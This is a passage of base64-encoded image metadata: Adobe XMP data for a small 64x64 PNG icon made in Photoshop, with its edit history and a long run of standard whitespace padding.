mFkb2JlLmNvbS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6cGhvdG9zaG9wPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bob3Rvc2hvcC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIgogICAgICAgICAgICB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIgogICAgICAgICAgICB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIj4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNSAoV2luZG93cyk8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhtcDpDcmVhdGVEYXRlPjIwMTUtMDEtMTVUMjE6MDE6MTlaPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNZXRhZGF0YURhdGU+MjAxNy0xMC0yNFQxMzozMTozMCswMTowMDwveG1wOk1ldGFkYXRhRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTctMTAtMjRUMTM6MzE6MzArMDE6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8cGhvdG9zaG9wOkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8cGhvdG9zaG9wOklDQ1Byb2ZpbGU+c1JHQiBJRUM2MTk2Ni0yLjE8L3Bob3Rvc2hvcDpJQ0NQcm9maWxlPgogICAgICAgICA8cGhvdG9zaG9wOlRleHRMYXllcnM+CiAgICAgICAgICAgIDxyZGY6QmFnPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHBob3Rvc2hvcDpMYXllck5hbWU+UyAtPC9waG90b3Nob3A6TGF5ZXJOYW1lPgogICAgICAgICAgICAgICAgICA8cGhvdG9zaG9wOkxheWVyVGV4dD5TIC08L3Bob3Rvc2hvcDpMYXllclRleHQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpCYWc+CiAgICAgICAgIDwvcGhvdG9zaG9wOlRleHRMYXllcnM+CiAgICAgICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgICAgIDx4bXBNTTpJbnN0YW5jZUlEPnhtcC5paWQ6N2NkMzQxNzctOWYyZi0yNDRiLWEyYjQtMzU1MzJkY2Y1MWJiPC94bXBNTTpJbnN0YW5jZUlEPgogICAgICAgICA8eG1wTU06RG9jdW1lbnRJRD5hZG9iZTpkb2NpZDpwaG90b3Nob3A6M2E1YzgxYmYtYjhiNy0xMWU3LTk0NDktYTQ2MzdlZjJkNjMzPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06T3JpZ2luYWxEb2N1bWVudElEPnhtcC5kaWQ6NjBDNUFFNjVGNjlDRTQxMTk0NUE4NTVFM0JDQTdFRUI8L3htcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkhpc3Rvcnk+CiAgICAgICAgICAgIDxyZGY6U2VxPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5jcmVhdGVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6NjBDNUFFNjVGNjlDRTQxMTk0NUE4NTVFM0JDQTdFRUI8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDp3aGVuPjIwMTUtMDEtMTVUMjE6MDE6MTlaPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6ODZjNjBkMGQtOGY0Yy01ZTRlLWEwMjQtODI4ZWQyNTIwZDc3PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEwLTI0VDEzOjMxOjMwKzAxOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNSAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdlbnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5jb252ZXJ0ZWQ8L3N0RXZ0OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnBhcmFtZXRlcnM+ZnJvbSBhcHBsaWNhdGlvbi92bmQuYWRvYmUucGhvdG9zaG9wIHRvIGltYWdlL3BuZzwvc3RFdnQ6cGFyYW1ldGVycz4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmRlcml2ZWQ8L3N0RXZ0OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnBhcmFtZXRlcnM+Y29udmVydGVkIGZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmc8L3N0RXZ0OnBhcmFtZXRlcnM+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5zYXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOjdjZDM0MTc3LTlmMmYtMjQ0Yi1hMmI0LTM1NTMyZGNmNTFiYjwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNy0xMC0yNFQxMzozMTozMCswMTowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpPC9zdEV2dDpzb2Z0d2FyZUFnZW50PgogICAgICAgICAgICAgICAgICA8c3RFdnQ6Y2hhbmdlZD4vPC9zdEV2dDpjaGFuZ2VkPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgPC9yZGY6U2VxPgogICAgICAgICA8L3htcE1NOkhpc3Rvcnk+CiAgICAgICAgIDx4bXBNTTpEZXJpdmVkRnJvbSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgIDxzdFJlZjppbnN0YW5jZUlEPnhtcC5paWQ6ODZjNjBkMGQtOGY0Yy01ZTRlLWEwMjQtODI4ZWQyNTIwZDc3PC9zdFJlZjppbnN0YW5jZUlEPgogICAgICAgICAgICA8c3RSZWY6ZG9jdW1lbnRJRD54bXAuZGlkOjYwQzVBRTY1RjY5Q0U0MTE5NDVBODU1RTNCQ0E3RUVCPC9zdFJlZjpkb2N1bWVudElEPgogICAgICAgICAgICA8c3RSZWY6b3JpZ2luYWxEb2N1bWVudElEPnhtcC5kaWQ6NjBDNUFFNjVGNjlDRTQxMTk0NUE4NTVFM0JDQTdFRUI8L3N0UmVmOm9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxleGlmOkNvbG9yU3BhY2U+MTwvZXhpZjpDb2xvclNwYWNlPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+NjQ8L2V4aWY6UGl4ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFlEaW1lbnNpb24+NjQ8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg